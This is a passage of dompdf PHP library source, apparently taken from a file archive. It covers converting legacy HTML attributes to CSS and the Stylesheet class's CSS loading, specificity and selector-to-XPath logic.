            case "tbody":
            case "tfoot":
            case "thead":
                $query = "tr/td | tr/th";
                break;

            case "tr":
                $query = "td | th";
                break;
        }

        return $xpath->query($query, $node);
    }

    /**
     * @param string $value
     *
     * @return string
     */
    protected static function _get_valid_color($value)
    {
        if (preg_match('/^#?([0-9A-F]{6})$/i', $value, $matches)) {
            $value = "#$matches[1]";
        }

        return $value;
    }

    /**
     * @param \DOMElement $node
     * @param string $value
     *
     * @return string
     */
    protected static function _set_color(\DOMElement $node, $value)
    {
        $value = self::_get_valid_color($value);

        return "color: $value;";
    }

    /**
     * @param \DOMElement $node
     * @param string $value
     *
     * @return string
     */
    protected static function _set_background_color(\DOMElement $node, $value)
    {
        $value = self::_get_valid_color($value);

        return "background-color: $value;";
    }

    protected static function _set_px_width(\DOMElement $node, string $value): string
    {
        $v = trim($value);

        if (Helpers::is_percent($v)) {
            return sprintf("width: %s;", $v);
        }

        if (is_numeric(mb_substr($v, 0, 1))) {
            return sprintf("width: %spx;", (float) $v);
        }

        return "";
    }

    protected static function _set_px_height(\DOMElement $node, string $value): string
    {
        $v = trim($value);

        if (Helpers::is_percent($v)) {
            return sprintf("height: %s;", $v);
        }

        if (is_numeric(mb_substr($v, 0, 1))) {
            return sprintf("height: %spx;", (float) $v);
        }

        return "";
    }

    /**
     * @param \DOMElement $node
     * @param string $value
     *
     * @return null
     */
    protected static function _set_table_cellpadding(\DOMElement $node, $value)
    {
        $cell_list = self::get_cell_list($node);

        foreach ($cell_list as $cell) {
            self::append_style($cell, "; padding: {$value}px;");
        }

        return null;
    }

    /**
     * @param \DOMElement $node
     * @param string $value
     *
     * @return string
     */
    protected static function _set_table_border(\DOMElement $node, $value)
    {
        return "border-width: $value" . "px;";
    }

    /**
     * @param \DOMElement $node
     * @param string $value
     *
     * @return string
     */
    protected static function _set_table_cellspacing(\DOMElement $node, $value)
    {
        $style = rtrim($node->getAttribute(self::$_style_attr), ";");

        if ($value == 0) {
            $style .= "; border-collapse: collapse;";
        } else {
            $style .= "; border-spacing: {$value}px; border-collapse: separate;";
        }

        return ltrim($style, ";");
    }

    /**
     * @param \DOMElement $node
     * @param string $value
     *
     * @return null|string
     */
    protected static function _set_table_rules(\DOMElement $node, $value)
    {
        $new_style = "; border-collapse: collapse;";

        switch ($value) {
            case "none":
                $new_style .= "border-style: none;";
                break;

            case "groups":
                // FIXME: unsupported
                return null;

            case "rows":
                $new_style .= "border-style: solid none solid none; border-width: 1px; ";
                break;

            case "cols":
                $new_style .= "border-style: none solid none solid; border-width: 1px; ";
                break;

            case "all":
                $new_style .= "border-style: solid; border-width: 1px; ";
                break;

            default:
                // Invalid value
                return null;
        }

        $cell_list = self::get_cell_list($node);

        foreach ($cell_list as $cell) {
            $style = $cell->getAttribute(self::$_style_attr);
            $style .= $new_style;
            $cell->setAttribute(self::$_style_attr, $style);
        }

        $style = rtrim($node->getAttribute(self::$_style_attr), ";");
        $style .= "; border-collapse: collapse; ";

        return ltrim($style, "; ");
    }

    /**
     * @param \DOMElement $node
     * @param string $value
     *
     * @return string
     */
    protected static function _set_hr_size(\DOMElement $node, $value)
    {
        $style = rtrim($node->getAttribute(self::$_style_attr), ";");
        $style .= "; border-width: " . max(0, $value - 2) . "; ";

        return ltrim($style, "; ");
    }

    /**
     * @param \DOMElement $node
     * @param string $value
     *
     * @return null|string
     */
    protected static function _set_hr_align(\DOMElement $node, $value)
    {
        $style = rtrim($node->getAttribute(self::$_style_attr), ";");
        $width = $node->getAttribute("width");

        if ($width == "") {
            $width = "100%";
        }

        $remainder = 100 - (double)rtrim($width, "% ");

        switch ($value) {
            case "left":
                $style .= "; margin-right: $remainder %;";
                break;

            case "right":
                $style .= "; margin-left: $remainder %;";
                break;

            case "center":
                $style .= "; margin-left: auto; margin-right: auto;";
                break;

            default:
                return null;
        }

        return ltrim($style, "; ");
    }

    /**
     * @param \DOMElement $node
     * @param string $value
     *
     * @return null|string
     */
    protected static function _set_input_width(\DOMElement $node, $value)
    {
        if (empty($value)) { return null; }

        if ($node->hasAttribute("type") && in_array(strtolower($node->getAttribute("type")), ["text","password"])) {
            return sprintf("width: %Fem", (((int)$value * .65)+2));
        } else {
            return sprintf("width: %upx;", (int)$value);
        }
    }

    /**
     * @param \DOMElement $node
     * @param string $value
     *
     * @return null
     */
    protected static function _set_table_row_align(\DOMElement $node, $value)
    {
        $cell_list = self::get_cell_list($node);

        foreach ($cell_list as $cell) {
            self::append_style($cell, "; text-align: $value;");
        }

        return null;
    }

    /**
     * @param \DOMElement $node
     * @param string $value
     *
     * @return null
     */
    protected static function _set_table_row_valign(\DOMElement $node, $value)
    {
        $cell_list = self::get_cell_list($node);

        foreach ($cell_list as $cell) {
            self::append_style($cell, "; vertical-align: $value;");
        }

        return null;
    }

    /**
     * @param \DOMElement $node
     * @param string $value
     *
     * @return null
     */
    protected static function _set_table_row_bgcolor(\DOMElement $node, $value)
    {
        $cell_list = self::get_cell_list($node);
        $value = self::_get_valid_color($value);

        foreach ($cell_list as $cell) {
            self::append_style($cell, "; background-color: $value;");
        }

        return null;
    }

    /**
     * @param \DOMElement $node
     * @param string $value
     *
     * @return null
     */
    protected static function _set_body_link(\DOMElement $node, $value)
    {
        $a_list = $node->getElementsByTagName("a");
        $value = self::_get_valid_color($value);

        foreach ($a_list as $a) {
            self::append_style($a, "; color: $value;");
        }

        return null;
    }

    /**
     * @param \DOMElement $node
     * @param string $value
     *
     * @return null
     */
    protected static function _set_basefont_size(\DOMElement $node, $value)
    {
        // FIXME: ? we don't actually set the font size of anything here, just
        // the base size for later modification by <font> tags.
        self::$_last_basefont_size = $value;

        return null;
    }

    /**
     * @param \DOMElement $node
     * @param string $value
     *
     * @return string
     */
    protected static function _set_font_size(\DOMElement $node, $value)
    {
        $style = $node->getAttribute(self::$_style_attr);

        if ($value[0] === "-" || $value[0] === "+") {
            $value = self::$_last_basefont_size + (int)$value;
        }

        if (isset(self::$_font_size_lookup[$value])) {
            $style .= "; font-size: " . self::$_font_size_lookup[$value] . ";";
        } else {
            $style .= "; font-size: $value;";
        }

        return ltrim($style, "; ");
    }

    protected static function _set_list_style_type(\DOMElement $node, string $value): string
    {
        $v = trim($value);

        switch ($v) {
            case "1":
                $type = "decimal";
                break;
            case "a":
                $type = "lower-alpha";
                break;
            case "A":
                $type = "upper-alpha";
                break;
            case "i":
                $type = "lower-roman";
                break;
            case "I":
                $type = "upper-roman";
                break;
            default:
                $type = $v;
                break;
        }

        return "list-style-type: $type;";
    }
}
vendor/dompdf/dompdf/src/Css/Stylesheet.php000066600000205373151150443010014754 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\Css;

use DOMElement;
use DOMXPath;
use Dompdf\Css\Content\Url;
use Dompdf\Dompdf;
use Dompdf\Exception;
use Dompdf\FontMetrics;
use Dompdf\Frame\FrameTree;
use Dompdf\Helpers;

/**
 * The master stylesheet class
 *
 * The Stylesheet class is responsible for parsing stylesheets and style
 * tags/attributes.  It also acts as a registry of the individual Style
 * objects generated by the current set of loaded CSS files and style
 * elements.
 *
 * @see Style
 * @package dompdf
 */
class Stylesheet
{
    /**
     * The location of the default built-in CSS file.
     */
    const DEFAULT_STYLESHEET = "/lib/res/html.css";

    /**
     * User agent stylesheet origin
     *
     * @var int
     */
    const ORIG_UA = 1;

    /**
     * User normal stylesheet origin
     *
     * @var int
     */
    const ORIG_USER = 2;

    /**
     * Author normal stylesheet origin
     *
     * @var int
     */
    const ORIG_AUTHOR = 3;

    /**
     * RegEx pattern representing a CSS string
     *
     * @var string
     */
    const PATTERN_CSS_STRING = '(?<CSS_STRING>(?<CSS_STRING_QUOTE>[\'"])(?<CSS_STRING_VALUE>.*?)(?<!\\\\)\g{CSS_STRING_QUOTE})';

    /**
     * RegEx pattern representing the CSS url() function
     *
     * @var string
     */
    const PATTERN_CSS_URL_FN = '(?<CSS_URL_FN>url\(\s*(?<CSS_URL_FN_QUOTE>[\'"]?)(?<CSS_URL_FN_VALUE>.*?)(?(CSS_URL_FN_QUOTE)(?<!\\\\)\g{CSS_URL_FN_QUOTE})\s*\))';

    /**
     * RegEx pattern representing the CSS local() function
     *
     * @var string
     */
    const PATTERN_CSS_LOCAL_FN = '(?<CSS_LOCAL_FN>local\(\s*(?<CSS_LOCAL_FN_QUOTE>[\'"]?)(?<CSS_LOCAL_FN_VALUE>.*?)(?(CSS_LOCAL_FN_QUOTE)(?<!\\\\)\g{CSS_LOCAL_FN_QUOTE})\s*\))';

    /**
     * RegEx pattern representing a CSS media query
     *
     * @var string
     */
    const PATTERN_MEDIA_QUERY = '(?<CSS_MEDIA_QUERY>(?:(?:(?:(?<CSS_MEDIA_QUERY_OP>only|not)\s+)?(?<CSS_MEDIA_QUERY_TYPE>all|aural|bitmap|braille|dompdf|embossed|handheld|paged|print|projection|screen|speech|static|tty|tv|visual))|(?:\(\s*(?<CSS_MEDIA_QUERY_FEATURE>(?:(?:(?:min|max)-)?(?:width|height))|orientation|[^:]*?)\s*(?:\:\s*(?<CSS_MEDIA_QUERY_CONDITION>.*?)\s*)?\))))';

    /*
     * The highest possible specificity is 0x01000000 (and that is only for author
     * stylesheets, as it is for inline styles). Origin precedence can be achieved by
     * adding multiples of 0x10000000 to the actual specificity. Important
     * declarations are handled in Style; though technically they should be handled
     * here so that user important declarations can be made to take precedence over
     * user important declarations, this doesn't matter in practice as Dompdf does
     * not support user stylesheets, and user agent stylesheets can not include
     * important declarations.
     */
    private static $_stylesheet_origins = [
        self::ORIG_UA => 0x00000000, // user agent declarations
        self::ORIG_USER => 0x10000000, // user normal declarations
        self::ORIG_AUTHOR => 0x30000000, // author normal declarations
    ];

    /**
     * Non-CSS presentational hints (i.e. HTML 4 attributes) are handled as if added
     * to the beginning of an author stylesheet, i.e. anything in author stylesheets
     * should override them.
     */
    const SPEC_NON_CSS = 0x20000000;

    /**
     * Current dompdf instance
     *
     * @var Dompdf
     */
    private $_dompdf;

    /**
     * Array of currently defined styles
     *
     * @var array<string, Style[]>
     */
    private $_styles;

    /**
     * Base protocol of the document being parsed
     * Used to handle relative urls.
     *
     * @var string
     */
    private $_protocol = "";

    /**
     * Base hostname of the document being parsed
     * Used to handle relative urls.
     *
     * @var string
     */
    private $_base_host = "";

    /**
     * Base path of the document being parsed
     * Used to handle relative urls.
     *
     * @var string
     */
    private $_base_path = "";

    /**
     * The styles defined by @page rules
     *
     * @var array<Style>
     */
    private $_page_styles;

    /**
     * List of loaded files, used to prevent recursion
     *
     * @var array
     */
    private $_loaded_files;

    /**
     * Current stylesheet origin
     *
     * @var int
     */
    private $_current_origin = self::ORIG_UA;

    /**
     * Accepted CSS media types
     * List of types and parsing rules for future extensions:
     * http://www.w3.org/TR/REC-html40/types.html
     *   screen, tty, tv, projection, handheld, print, braille, aural, all
     * The following are non standard extensions for undocumented specific environments.
     *   static, visual, bitmap, paged, dompdf
     * Note, even though the generated pdf file is intended for print output,
     * the desired content might be different (e.g. screen or projection view of html file).
     * Therefore allow specification of content by dompdf setting Options::defaultMediaType.
     * If given, replace media "print" by Options::defaultMediaType.
     * (Previous version $ACCEPTED_MEDIA_TYPES = $ACCEPTED_GENERIC_MEDIA_TYPES + $ACCEPTED_DEFAULT_MEDIA_TYPE)
     */
    static $ACCEPTED_DEFAULT_MEDIA_TYPE = "print";
    static $ACCEPTED_GENERIC_MEDIA_TYPES = ["all", "static", "visual", "bitmap", "paged", "dompdf"];
    static $VALID_MEDIA_TYPES = ["all", "aural", "bitmap", "braille", "dompdf", "embossed", "handheld", "paged", "print", "projection", "screen", "speech", "static", "tty", "tv", "visual"];

    /**
     * @var FontMetrics
     */
    private $fontMetrics;

    /**
     * The class constructor.
     *
     * The base protocol, host & path are initialized to those of
     * the current script.
     */
    function __construct(Dompdf $dompdf)
    {
        $this->_dompdf = $dompdf;
        $this->setFontMetrics($dompdf->getFontMetrics());
        $this->_styles = [];
        $this->_loaded_files = [];
        $script = __FILE__;
        if (isset($_SERVER["SCRIPT_FILENAME"])) {
            $script = $_SERVER["SCRIPT_FILENAME"];
        }
        list($this->_protocol, $this->_base_host, $this->_base_path) = Helpers::explode_url($script);
        $this->_page_styles = ["base" => new Style($this)];
    }

    /**
     * Set the base protocol
     *
     * @param string $protocol
     */
    function set_protocol(string $protocol)
    {
        $this->_protocol = $protocol;
    }

    /**
     * Set the base host
     *
     * @param string $host
     */
    function set_host(string $host)
    {
        $this->_base_host = $host;
    }

    /**
     * Set the base path
     *
     * @param string $path
     */
    function set_base_path(string $path)
    {
        $this->_base_path = $path;
    }

    /**
     * Return the Dompdf object
     *
     * @return Dompdf
     */
    function get_dompdf()
    {
        return $this->_dompdf;
    }

    /**
     * Return the base protocol for this stylesheet
     *
     * @return string
     */
    function get_protocol()
    {
        return $this->_protocol;
    }

    /**
     * Return the base host for this stylesheet
     *
     * @return string
     */
    function get_host()
    {
        return $this->_base_host;
    }

    /**
     * Return the base path for this stylesheet
     *
     * @return string
     */
    function get_base_path()
    {
        return $this->_base_path;
    }

    /**
     * Get all registered styles as an associative array, indexed by selector.
     *
     * @return array<string, Style[]>
     */
    public function get_styles(): array
    {
        return $this->_styles;
    }

    /**
     * Return the array of page styles
     *
     * @return Style[]
     */
    function get_page_styles()
    {
        return $this->_page_styles;
    }

    /**
     * Create a new Style object associated with this stylesheet
     *
     * @return Style
     */
    function create_style(): Style
    {
        return new Style($this, $this->_current_origin);
    }

    /**
     * Add a new Style object to the stylesheet
     *
     * The style's origin is changed to the current origin of the stylesheet.
     *
     * @param string $key the Style's selector
     * @param Style $style the Style to be added
     */
    function add_style(string $key, Style $style): void
    {
        if (!isset($this->_styles[$key])) {
            $this->_styles[$key] = [];
        }

        $style->set_origin($this->_current_origin);
        $this->_styles[$key][] = $style;
    }

    /**
     * load and parse a CSS string
     *
     * @param string $css
     * @param int $origin
     */
    function load_css(&$css, $origin = self::ORIG_AUTHOR)
    {
        if ($origin) {
            $this->_current_origin = $origin;
        }
        $this->_parse_css($css);
    }

    /**
     * load and parse a CSS file
     *
     * @param string $file
     * @param int $origin
     */
    function load_css_file($file, $origin = self::ORIG_AUTHOR)
    {
        if ($origin) {
            $this->_current_origin = $origin;
        }

        // Prevent circular references
        if (isset($this->_loaded_files[$file])) {
            return;
        }

        $this->_loaded_files[$file] = true;

        if (strpos($file, "data:") === 0) {
            $parsed = Helpers::parse_data_uri($file);
            $css = $parsed["data"];
        } else {
            $options = $this->_dompdf->getOptions();

            $parsed_url = Helpers::explode_url($file);
            $protocol = $parsed_url["protocol"];

            if ($file !== $this->getDefaultStylesheet()) {
                $allowed_protocols = $options->getAllowedProtocols();
                if (!array_key_exists($protocol, $allowed_protocols)) {
                    Helpers::record_warnings(E_USER_WARNING, "Permission denied on $file. The communication protocol is not supported.", __FILE__, __LINE__);
                    return;
                }
                foreach ($allowed_protocols[$protocol]["rules"] as $rule) {
                    [$result, $message] = $rule($file);
                    if (!$result) {
                        Helpers::record_warnings(E_USER_WARNING, "Error loading $file: $message", __FILE__, __LINE__);
                        return;
                    }
                }
            }

            [$css, $http_response_header] = Helpers::getFileContent($file, $this->_dompdf->getHttpContext());

            $good_mime_type = true;

            if (isset($http_response_header) && !$this->_dompdf->getQuirksmode()) {
                foreach ($http_response_header as $_header) {
                    if (preg_match("@Content-Type:\s*([\w/]+)@i", $_header, $matches) &&
                        ($matches[1] !== "text/css")
                    ) {
                        $good_mime_type = false;
                    }
                }
            }
            if (!$good_mime_type || $css === null) {
                Helpers::record_warnings(E_USER_WARNING, "Unable to load css file $file", __FILE__, __LINE__);
                return;
            }

            [$this->_protocol, $this->_base_host, $this->_base_path] = $parsed_url;
        }

        $this->_parse_css($css);
    }

    /**
     * @link https://www.w3.org/TR/CSS21/cascade.html#specificity
     *
     * @param string $selector
     * @param int    $origin
     *    - Stylesheet::ORIG_UA: user agent style sheet
     *    - Stylesheet::ORIG_USER: user style sheet
     *    - Stylesheet::ORIG_AUTHOR: author style sheet
     *
     * @return int
     */
    protected function specificity(string $selector, int $origin = self::ORIG_AUTHOR): int
    {
        $a = ($selector === "!attr") ? 1 : 0;

        $b = min(mb_substr_count($selector, "#"), 255);

        $c = min(mb_substr_count($selector, ".") +
            mb_substr_count($selector, "[") +
            mb_substr_count($selector, ":") -
            2 * mb_substr_count($selector, "::"), 255);

        $d = min(mb_substr_count($selector, " ") +
            mb_substr_count($selector, ">") +
            mb_substr_count($selector, "+") +
            mb_substr_count($selector, "~") -
            mb_substr_count($selector, "~=") +
            mb_substr_count($selector, "::"), 255);

        //If a normal element name is at the beginning of the string,
        //a leading whitespace might have been removed on whitespace collapsing and removal
        //therefore there might be one whitespace less as selected element names
        //this can lead to a too small specificity
        //see selectorToXpath

        if (!in_array($selector[0], [" ", ">", ".", "#", "+", "~", ":", "["], true) && $selector !== "*") {
            $d++;
        }

        if ($this->_dompdf->getOptions()->getDebugCss()) {
            /*DEBUGCSS*/
            print "<pre>\n";
            /*DEBUGCSS*/
            printf("specificity(): 0x%08x \"%s\"\n", self::$_stylesheet_origins[$origin] + (($a << 24) | ($b << 16) | ($c << 8) | ($d)), $selector);
            /*DEBUGCSS*/
            print "</pre>";
        }

        return self::$_stylesheet_origins[$origin] + (($a << 24) | ($b << 16) | ($c << 8) | ($d));
    }

    /**
     * Converts a CSS selector to an XPath query.
     *
     * @param string $selector
     * @param bool   $firstPass
     *
     * @return array|null
     */
    protected function selectorToXpath(string $selector, bool $firstPass = false): ?array
    {
        // Collapse white space and strip whitespace around delimiters
        //$search = array("/\\s+/", "/\\s+([.>#+:])\\s+/");
        //$replace = array(" ", "\\1");
        //$selector = preg_replace($search, $replace, trim($selector));

        // Initial query, always expanded to // below (non-absolute)
        $query = "/";

        // Will contain :before and :after
        $pseudo_elements = [];

        // Parse the selector
        //$s = preg_split("/([ :>.#+])/", $selector, -1, PREG_SPLIT_DELIM_CAPTURE);

        $delimiters = [" ", ">", ".", "#", "+", "~", ":", "[", "("];

        // Add an implicit space at the beginning of the selector if there is no
        // delimiter there already.
        if (!in_array($selector[0], $delimiters, true)) {
            $selector = " $selector";
        }

        $name = "*";
        $len = mb_strlen($selector);
        $i = 0;

        while ($i < $len) {

            $s = $selector[$i];
            $i++;

            // Eat characters up to the next delimiter
            $tok = "";
            $in_attr = false;
            $in_func = false;

            while ($i < $len) {
                $c = $selector[$i];
                $c_prev = $selector[$i - 1];

                if (!$in_func && !$in_attr && in_array($c, $delimiters, true) && !($c === $c_prev && $c === ":")) {
                    break;
                }

                if ($c_prev === "[") {
                    $in_attr = true;
                }
                if ($c_prev === "(") {
                    $in_func = true;
                }

                $tok .= $selector[$i++];

                if ($in_attr && $c === "]") {
                    $in_attr = false;
                    break;
                }
                if ($in_func && $c === ")") {
                    $in_func = false;
                    break;
                }
            }

            switch ($s) {

                case " ":
                case ">":
                    // All elements matching the next token that are descendants
                    // or children of the current token
                    // https://www.w3.org/TR/selectors-3/#descendant-combinators
                    // https://www.w3.org/TR/selectors-3/#child-combinators
                    $expr = $s === " " ? "descendant" : "child";

                    // Tag names are case-insensitive
                    $name = $tok === "" ? "*" : strtolower($tok);
                    $query .= "/$expr::$name";
                    break;

                case "+":
                    // Next-sibling combinator
                    // https://www.w3.org/TR/selectors-3/#sibling-combinators

                    // Tag names are case-insensitive
                    $name = $tok === "" ? "*" : strtolower($tok);
                    $query .= "/following-sibling::*[1]";

                    if ($name !== "*") {
                        $query .= "[name() = '$name']";
                    }
                    break;

                case "~":
                    // Subsequent-sibling combinator
                    // https://www.w3.org/TR/selectors-3/#sibling-combinators

                    // Tag names are case-insensitive
                    $name = $tok === "" ? "*" : strtolower($tok);
                    $query .= "/following-sibling::$name";
                    break;

                case "#":
                    // All elements matching the current token with id equal
                    // to the _next_ token
                    // https://www.w3.org/TR/selectors-3/#id-selectors
                    if ($query === "/") {
                        $query .= "/*";
                    }

                    $query .= "[@id=\"$tok\"]";
                    break;

                case ".":
                    // All elements matching the current token with a class
                    // equal to the _next_ token
                    // https://www.w3.org/TR/selectors-3/#class-html
                    if ($query === "/") {
                        $query .= "/*";
                    }

                    // Match multiple classes: $tok contains the current selected
                    // class.  Search for class attributes with class="$tok",
                    // class=".* $tok .*" and class=".* $tok"

                    // This doesn't work because libxml only supports XPath 1.0...
                    //$query .= "[matches(@$attr,\"^{$tok}\$|^{$tok}[ ]+|[ ]+{$tok}\$|[ ]+{$tok}[ ]+\")]";

                    $query .= "[contains(concat(' ', normalize-space(@class), ' '), concat(' ', '$tok', ' '))]";
                    break;

                case ":":
                    if ($query === "/") {
                        $query .= "/*";
                    }

                    $last = false;

                    // Pseudo-classes
                    switch ($tok) {

                        case "root":
                            $query .= "[not(parent::*)]";
                            break;

                        case "first-child":
                            $query .= "[not(preceding-sibling::*)]";
                            break;

                        case "last-child":
                            $query .= "[not(following-sibling::*)]";
                            break;

                        case "only-child":
                            $query .= "[not(preceding-sibling::*) and not(following-sibling::*)]";
                            break;

                        // https://www.w3.org/TR/selectors-3/#nth-child-pseudo
                        /** @noinspection PhpMissingBreakStatementInspection */
                        case "nth-last-child":
                            $last = true;
                        case "nth-child":
                            $p = $i + 1;
                            $nth = trim(mb_substr($selector, $p, strpos($selector, ")", $i) - $p));
                            $position = $last
                                ? "(count(following-sibling::*) + 1)"
                                : "(count(preceding-sibling::*) + 1)";

                            $condition = $this->selectorAnPlusB($nth, $position);
                            $query .= "[$condition]";
                            break;

                        // TODO: `*:first-of-type`, `*:nth-of-type` etc.
                        // (without fixed element name) are treated equivalent
                        // to their `:*-child` counterparts here. They might
                        // not be properly expressible in XPath 1.0
                        case "first-of-type":
                            $query .= "[not(preceding-sibling::$name)]";
                            break;

                        case "last-of-type":
                            $query .= "[not(following-sibling::$name)]";
                            break;

                        case "only-of-type":
                            $query .= "[not(preceding-sibling::$name) and not(following-sibling::$name)]";
                            break;

                        // https://www.w3.org/TR/selectors-3/#nth-of-type-pseudo
                        /** @noinspection PhpMissingBreakStatementInspection */
                        case "nth-last-of-type":
                            $last = true;
                        case "nth-of-type":
                            $p = $i + 1;
                            $nth = trim(mb_substr($selector, $p, strpos($selector, ")", $i) - $p));
                            $position = $last
                                ? "(count(following-sibling::$name) + 1)"
                                : "(count(preceding-sibling::$name) + 1)";

                            $condition = $this->selectorAnPlusB($nth, $position);
                            $query .= "[$condition]";
                            break;

                        // https://www.w3.org/TR/selectors-4/#empty-pseudo
                        case "empty":
                            $query .= "[not(*) and not(normalize-space())]";
                            break;

                        // TODO: bit of a hack attempt at matches support, currently only matches against elements
                        case "matches":
                            $p = $i + 1;
                            $matchList = trim(mb_substr($selector, $p, strpos($selector, ")", $i) - $p));

                            // Tag names are case-insensitive
                            $elements = array_map("trim", explode(",", strtolower($matchList)));
                            foreach ($elements as &$element) {
                                $element = "name() = '$element'";
                            }

                            $query .= "[" . implode(" or ", $elements) . "]";
                            break;

                        // https://www.w3.org/TR/selectors-3/#UIstates
                        case "disabled":
                        case "checked":
                            $query .= "[@$tok]";
                            break;

                        case "enabled":
                            $query .= "[not(@disabled)]";
                            break;

                        // https://www.w3.org/TR/selectors-3/#dynamic-pseudos
                        // https://www.w3.org/TR/selectors-4/#the-any-link-pseudo
                        case "link":
                        case "any-link":
                            $query .= "[@href]";
                            break;

                        // N/A
                        case "visited":
                        case "hover":
                        case "active":
                        case "focus":
                        case "focus-visible":
                        case "focus-within":
                            $query .= "[false()]";
                            break;

                        // https://www.w3.org/TR/selectors-3/#first-line
                        // https://www.w3.org/TR/selectors-3/#first-letter
                        case "first-line":
                        case ":first-line":
                        case "first-letter":
                        case ":first-letter":
                            // TODO
                            $el = ltrim($tok, ":");
                            $pseudo_elements[$el] = true;
                            break;

                        // https://www.w3.org/TR/selectors-3/#gen-content
                        case "before":
                        case ":before":
                        case "after":
                        case ":after":
                            $pos = ltrim($tok, ":");
                            $pseudo_elements[$pos] = true;
                            if (!$firstPass) {
                                $query .= "/*[@$pos]";
                            }
                            break;

                        // Invalid or unsupported pseudo-class or pseudo-element
                        default:
                            return null;
                    }

                    break;

                case "[":
                    // Attribute selectors.  All with an attribute matching the
                    // following token(s)
                    // https://www.w3.org/TR/selectors-3/#attribute-selectors
                    if ($query === "/") {
                        $query .= "/*";
                    }

                    $attr_delimiters = ["=", "]", "~", "|", "$", "^", "*"];
                    $tok_len = mb_strlen($tok);
                    $j = 0;

                    $attr = "";
                    $op = "";
                    $value = "";

                    while ($j < $tok_len) {
                        if (in_array($tok[$j], $attr_delimiters, true)) {
                            break;
                        }
                        $attr .= $tok[$j++];
                    }

                    if ($attr === "") {
                        // Selector invalid: Missing attribute name
                        return null;
                    }

                    if (!isset($tok[$j])) {
                        // Selector invalid: Missing ] or operator
                        return null;
                    }

                    switch ($tok[$j]) {

                        case "~":
                        case "|":
                        case "^":
                        case "$":
                        case "*":
                            $op .= $tok[$j++];

                            if (!isset($tok[$j]) || $tok[$j] !== "=") {
                                // Selector invalid: Incomplete attribute operator
                                return null;
                            }

                            $op .= $tok[$j];
                            break;

                        case "=":
                            $op = "=";
                            break;

                    }

                    // Read the attribute value, if required
                    if ($op !== "") {
                        $j++;
                        while ($j < $tok_len) {
                            if ($tok[$j] === "]") {
                                break;
                            }
                            $value .= $tok[$j++];
                        }
                    }

                    if (!isset($tok[$j])) {
                        // Selector invalid: Missing ]
                        return null;
                    }

                    $value = trim($value, "\"'");

                    switch ($op) {

                        case "":
                            $query .= "[@$attr]";
                            break;

                        case "=":
                            $query .= "[@$attr=\"$value\"]";
                            break;

                        case "~=":
                            // FIXME: this will break if $value contains quoted strings
                            // (e.g. [type~="a b c" "d e f"])
                            $query .= $value !== "" && !preg_match("/\s+/", $value)
                                ? "[contains(concat(' ', normalize-space(@$attr), ' '), concat(' ', \"$value\", ' '))]"
                                : "[false()]";
                            break;

                        case "|=":
                            $values = explode("-", $value);
                            $query .= "[";

                            foreach ($values as $val) {
                                $query .= "starts-with(@$attr, \"$val\") or ";
                            }

                            $query = rtrim($query, " or ") . "]";
                            break;

                        case "^=":
                            $query .= $value !== ""
                                ? "[starts-with(@$attr,\"$value\")]"
                                : "[false()]";
                            break;

                        case "$=":
                            $query .= $value !== ""
                                ? "[substring(@$attr, string-length(@$attr)-" . (strlen($value) - 1) . ")=\"$value\"]"
                                : "[false()]";
                            break;

                        case "*=":
                            $query .= $value !== ""
                                ? "[contains(@$attr,\"$value\")]"
                                : "[false()]";
                            break;
                    }

                    break;
            }
        }

        return ["query" => $query, "pseudo_elements" => $pseudo_elements];
    }

    /**
     * Parse an `nth-child` expression of the form `an+b`, `odd`, or `even`.
     *
     * @param string $expr
     * @param string $position
     *
     * @return string
     *
     * @link https://www.w3.org/TR/selectors-3/#nth-child-pseudo
     */
    protected function selectorAnPlusB(string $expr, string $position): string
    {
        // odd
        if ($expr === "odd") {
            return "($position mod 2) = 1";
        } // even
        elseif ($expr === "even") {
            return "($position mod 2) = 0";
        } // b
        elseif (preg_match("/^\d+$/", $expr)) {
            return "$position = $expr";
        }

        // an+b
        // https://github.com/tenderlove/nokogiri/blob/master/lib/nokogiri/css/xpath_visitor.rb
        $expr = preg_replace("/\s/", "", $expr);
        if (!preg_match("/^(?P<a>-?[0-9]*)?n(?P<b>[-+]?[0-9]+)?$/", $expr, $matches)) {
            return "false()";
        }

        $a = (isset($matches["a"]) && $matches["a"] !== "") ? ($matches["a"] !== "-" ? intval($matches["a"]) : -1) : 1;
        $b = (isset($matches["b"]) && $matches["b"] !== "") ? intval($matches["b"]) : 0;

        if ($b === 0) {
            return "($position mod $a) = 0";
        } else {
            $compare = ($a < 0) ? "<=" : ">=";
            $b2 = -$b;
            if ($b2 >= 0) {
                $b2 = "+$b2";
            }
            return "($position $compare $b) and ((($position $b2) mod " . abs($a) . ") = 0)";
        }
    }

    /**
     * applies all current styles to a particular document tree
     *
     * apply_styles() applies all currently loaded styles to the provided
     * {@link FrameTree}.  Aside from parsing CSS, this is the main purpose
     * of this class.
     *
     * @param FrameTree $tree
     */
    function apply_styles(FrameTree $tree)
    {
        // Use XPath to select nodes.  This would be easier if we could attach
        // Frame objects directly to DOMNodes using the setUserData() method, but
        // we can't do that just yet.  Instead, we set a _node attribute_ in
        // Frame->set_id() and use that as a handle on the Frame object via
        // FrameTree::$_registry.

        // We create a scratch array of styles indexed by frame id.  Once all
        // styles have been assigned, we order the cached styles by specificity
        // and create a final style object to assign to the frame.

        // FIXME: this is not particularly robust...

        $styles = [];
        $xp = new DOMXPath($tree->get_dom());
        $DEBUGCSS = $this->_dompdf->getOptions()->getDebugCss();

        // Add generated content
        foreach ($this->_styles as $selector => $selector_styles) {
            if (strpos($selector, ":before") === false && strpos($selector, ":after") === false) {
                continue;
            }

            $query = $this->selectorToXpath($selector, true);
            if ($query === null) {
                Helpers::record_warnings(E_USER_WARNING, "The CSS selector '$selector' is not valid", __FILE__, __LINE__);
                continue;
            }

            // Retrieve the nodes, limit to body for generated content
            // TODO: If we use a context node can we remove the leading dot?
            $nodes = @$xp->query('.' . $query["query"]);
            if ($nodes === false) {
                Helpers::record_warnings(E_USER_WARNING, "The CSS selector '$selector' is not valid", __FILE__, __LINE__);
                continue;
            }

            foreach ($selector_styles as $style) {
                foreach ($nodes as $node) {
                    // Only DOMElements get styles
                    if (!($node instanceof DOMElement)) {
                        continue;
                    }

                    foreach (array_keys($query["pseudo_elements"], true, true) as $pos) {
                        // Do not add a new pseudo element if another one already matched
                        if ($node->hasAttribute("dompdf_{$pos}_frame_id")) {
                            continue;
                        }

                        $content = $style->content;

                        // Do not create non-displayed before/after pseudo
                        // elements. Since styles have not been inherited yet,
                        // a specified value of `inherit` will always be treated
                        // as `normal` here. This is fine according to the
